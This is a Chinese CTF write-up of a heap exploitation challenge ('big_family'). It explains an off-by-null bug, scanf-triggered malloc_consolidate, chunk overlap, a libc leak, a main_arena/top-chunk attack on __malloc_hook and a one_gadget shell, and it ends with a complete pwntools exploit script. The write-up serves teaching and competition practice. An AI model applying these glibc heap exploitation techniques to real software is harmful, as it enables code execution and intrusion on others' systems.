-
-
[原创]CTFShow family(PWN) writeup
-
2021-4-16 14:36 10006
-
PWN (Off by null)
0x00 前置知识
-
使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存
在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配
main_arena attack
当我们申请不到free_hook,malloc_hook上方的位置时,我们可以将堆块申请到main_arena,然后覆盖top chunk为hook函数上方的位置,完成利用
0x10 漏洞分析
本次使用的例题是ctfshow大吉大利杯的一道堆题,big_family
正常检查保护后发现保护全开,在 read_n
函数里面发现一个 Off by null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | void __cdecl read_n(char * buf, size_t len ) { char ch_0; / / [rsp + 13h ] [rbp - Dh] int i; / / [rsp + 14h ] [rbp - Ch] unsigned __int64 v4; / / [rsp + 18h ] [rbp - 8h ] v4 = __readfsqword( 0x28u ); for ( i = 0 ; i < len ; + + i ) { ch_0 = 0 ; if ( read( 0 , &ch_0, 1uLL ) < 0 ) { puts( "Read error!!\n" ); exit( 1 ); } buf[i] = ch_0; if ( ch_0 = = 10 ) break ; } buf[i] = 0 ; / / 固定向后面添加一个 '\x00' 字符 } |
我们看 Add 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | void __cdecl buildhouse() { int size; / / [rsp + 8h ] [rbp - 18h ] int i; / / [rsp + Ch] [rbp - 14h ] char * buf; / / [rsp + 10h ] [rbp - 10h ] unsigned __int64 v3; / / [rsp + 18h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); buf = 0LL ; for ( i = 0 ; ; + + i ) { if ( i > 15 ) { puts( "You can't build a house anymore!" ); return ; } if ( !house[i] ) break ; } puts( "How big a house do you want to build?" ); if ( (unsigned int )_isoc99_scanf( "%u" , &size) = = - 1 ) exit( - 1 ); if ( size < = 0 || size > 0x47 ) / / fastbin { puts( "Your house is not the right size" ); exit( - 1 ); } buf = (char * )malloc(size); if ( !buf ) { puts( "Something wrong in building !!" ); exit( - 1 ); } house[i] = buf; puts( "How do you want to decorate your house?" ); read_n(house[i], size); puts( "Done,your house is completed!" ); } |
在 Add 函数中我们发现我们可以申请的size 最大只有 0x47大小,也就是最大0x50大小的堆块
Show 函数以及 Delete函数没太大问题
0x20 漏洞利用
由于我们可以申请的堆块大小被限制到了只能被free到fastbin里,而我们又要泄漏libc基地址,因此我们只能通过scanf会调用malloc分配内存的办法来使堆块合并
1 2 3 4 5 6 7 | Add( 0x18 , 'start' ) #0 Add( 0x18 , 'f' ) #1 Add( 0x38 , 'f' ) #2 Add( 0x28 , 'f' ) #3 Add( 0x38 , 'f' ) #4 Add( 0x38 , 'a' * 0x20 + p64( 0x100 ) + p64( 0x10 )) #5 Add( 0x10 , 'f' ) #6 |
首先我们可以申请出6个堆块,我们要通过第一个堆块来利用 Off by null
修改合并后的smallbin的size,以及第6个堆块来防止前面堆块与 top_chunk发生合并,而由于是 Off by null
我们要让 chunk1-5 的size 相加等于 0x110,然后覆盖为 0x100来构造堆块重叠
现在的堆结构是这样的:
1 2 3 4 5 | for i in range ( 1 , 6 ): Delete(i) sh.sendlineafter( 'Choice:' , "1" * 0x400 ) Delete( 0 ) Add( 0x18 , 'a' * 0x18 ) #0 |
构造samllbin并且修改smallbin的size为0x100
1 2 3 4 5 | Add( 0x18 , 'a' ) #1 Add( 0x28 , 'f' ) #2 Add( 0x38 , 'b' ) #3 Add( 0x38 , 'c' ) #4 Add( 0x38 , 'd' ) #5 |
将smallbin分割成5个大小相加为0x100大小的块, 此时堆块情况
然后通过向scanf输入0x400个1来触发malloc_consolidate,使其刚好留出0x10大小的空间便于我们利用
1 2 | Delete( 1 ) Delete( 2 ) |
之后我们删除1,2号块,用于我们接下来利用off by null 对二号块的size位进行覆盖的操作
1 2 3 | sh.sendlineafter( 'Choice:' , "1" * 0x400 ) Delete( 6 ) sh.sendlineafter( 'Choice:' , "1" * 0x400 ) |
删除1,2号块后,我们需要利用malloc_consolidate,把删除的1,2,号块,合并进入smallbin, 之后删除6号块,在触发一次malloc_consoildate,使其向前合并
向前合并之后,我们可以发现我们得到了一个包含没有被free过的一个0x130的空闲堆块,也就是说我们可以通过这个堆块来制造堆块重叠了
1 2 3 | Add( 0x38 , 'a' ) #1 Add( 0x18 , 'b' ) #2 Add( 0x28 , 'c' ) #6 |
我们将1,2,6号堆块申请回来,同时设置好size,就可以覆盖3号堆块,或者其他堆块的内容为main_arena+88,然后通过show函数就可以泄漏libc了
1 2 3 4 5 6 | main_arena = u64(sh.recvuntil( '\x7f' ).ljust( 8 , '\x00' )) - 88 libc_base = main_arena - 0x3c4b20 free_hook = libc_base + libc.symbols[ '__free_hook' ] malloc_hook = libc_base + libc.symbols[ '__malloc_hook' ] realloc = libc_base + libc.symbols[ '__libc_realloc' ] one_gadget = libc_base + 0x4526a |
泄漏出libc之后,我们发现,我们申请申请不到free_hook上面的位置,我们只能使用main_arean attack来进行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Add( 0x28 , 'a' ) #7-->3 Add( 0x38 , 'b' ) #8-->4 Add( 0x38 , 'c' ) #9 Add( 0x28 , 'd' ) #10 Add( 0x47 ,p64( 0x41 )) #11 Add( 0x47 ,p64( 0x41 )) #12 Delete( 11 ) Delete( 12 ) Add( 0x47 ,p64( 0x41 )) Delete( 3 ) Delete( 10 ) Delete( 7 ) Add( 0x28 ,p64( 0x41 ) * 2 ) Add( 0x28 , 'f0und' ) Add( 0x28 ,p64( 0x41 ) * 2 ) |
申请出两个重叠堆块,并利用main_arena的机制使,main_arena中出现一个size
然后我们将堆块申请到main_arena上,由于size大小不够,我们一次申请覆盖不到top_chunk的位置,因此我们可以分两次,先在后面的位置在写上一个size,然后就可以申请到了
1 2 3 4 | Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 48 ) + p64( 0 ) * 3 + p64( 0x41 )) |
覆盖top_chunk,getshell
1 2 3 4 5 6 7 | Add( 0x38 ,p64( 0 ) * 3 + p64(malloc_hook - 0x18 )) #getshell local Add( 0x38 ,p64(one_gadget_local) + p64(realloc + 13 )) sh.recvuntil( "Choice:" ) sh.sendline( '1' ) sh.recvuntil( "How big a house do you want to build?\n" ) sh.sendline( '2' ) |
由于onegadget的条件限制,我们可以利用realloc来调节栈帧,其原理是,realloc前面有很多push指令,可以用来调偏移,使其可以满足onegadget (rbp+0x30==null) 的条件,因此我们将malloc_hook设置为realloc+13的地方,将realloc_hook设置为onegadget就可以getshell
getshell
0x30 Final Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | #/usr/bin/env python #-*-coding:utf-8-*- from pwn import * from LibcSearcher import * proc = "./family" elf = ELF(proc) libc = ELF( "/lib/x86_64-linux-gnu/libc-2.23.so" ) context.log_level = "debug" def Add(des_size,des): sh.recvuntil( "Choice:" ) sh.sendline( str ( 1 )) sh.recvuntil( "How big a house do you want to build?\n" ) sh.sendline( str (des_size)) sh.recvuntil( "How do you want to decorate your house?\n" ) sh.sendline(des) def Delete(index): sh.recvuntil( "Choice:" ) sh.sendline( str ( 2 )) sh.recvuntil( "Which house do you want to remove?\n" ) sh.sendline( str (index)) def Show(index): sh.recvuntil( "Choice:" ) sh.sendline( str ( 3 )) sh.recvuntil( "Which house do you want to view?\n" ) sh.sendline( str (index)) def pwn(ip,port,debug): global sh if debug = = 1 : context.log_level = "debug" sh = process(proc) else : sh = remote(ip,port) Add( 0x18 , 'start' ) #0 Add( 0x18 , 'f' ) #1 Add( 0x38 , 'f' ) #2 Add( 0x28 , 'f' ) #3 Add( 0x38 , 'f' ) #4 Add( 0x38 ,p64( 8 ) * 4 + p64( 0x100 ) + p64( 0x10 )) #5 Add( 0x10 , 'f' ) #6 for i in range ( 1 , 6 ): Delete(i) sh.sendlineafter( 'Choice:' , "1" * 0x400 ) Delete( 0 ) Add( 0x18 , 'a' * 0x18 ) #0 Add( 0x18 , 'a' ) #1 Add( 0x38 , 'f' ) #2 Add( 0x28 , 'b' ) #3 Add( 0x38 , 'c' ) #4 Add( 0x38 , 'd' ) #5 Delete( 1 ) Delete( 2 ) sh.sendlineafter( 'Choice:' , "1" * 0x400 ) Delete( 6 ) sh.sendlineafter( 'Choice:' , "1" * 0x400 ) Add( 0x38 , 'a' ) #1 Add( 0x18 , 'b' ) #2 Add( 0x28 , 'c' ) #6 Show( 3 ) main_arena = u64(sh.recvuntil( '\x7f' ).ljust( 8 , '\x00' )) - 88 libc_base = main_arena - 0x3c4b20 free_hook = libc_base + libc.symbols[ '__free_hook' ] malloc_hook = libc_base + libc.symbols[ '__malloc_hook' ] realloc = libc_base + libc.symbols[ '__libc_realloc' ] one_gadget = libc_base + 0x4526a one_gadget_local = libc_base + 0x4527a log.info( "libc_base: " + hex (libc_base)) log.info( "main_arena: " + hex (main_arena)) log.info( "free_hook: " + hex (free_hook)) log.info( "malloc_hook: " + hex (malloc_hook)) Add( 0x28 , 'a' ) #7-->3 Add( 0x38 , 'b' ) #8-->4 Add( 0x38 , 'c' ) #9 Add( 0x28 , 'd' ) #10 Add( 0x47 ,p64( 0x41 )) #11 Add( 0x47 ,p64( 0x41 )) #12 Delete( 11 ) Delete( 12 ) Add( 0x47 ,p64( 0x41 )) Delete( 3 ) Delete( 10 ) Delete( 7 ) Add( 0x28 ,p64( 0x41 ) * 2 ) Add( 0x28 , 'f0und' ) Add( 0x28 ,p64( 0x41 ) * 2 ) Delete( 8 ) Delete( 9 ) Delete( 4 ) Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 8 )) Add( 0x38 ,p64(main_arena + 48 ) + p64( 0 ) * 3 + p64( 0x41 )) Add( 0x38 ,p64( 0 ) * 3 + p64(malloc_hook - 0x18 )) #Add(0x38,p64(one_gadget)*2+p64(realloc+13)) #getshell local Add( 0x38 ,p64(one_gadget_local) + p64(realloc + 13 )) sh.recvuntil( "Choice:" ) sh.sendline( '1' ) sh.recvuntil( "How big a house do you want to build?\n" ) sh.sendline( '2' ) sh.interactive() if __name__ = = "__main__" : pwn( "111.231.70.44" , 28006 , 1 ) |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界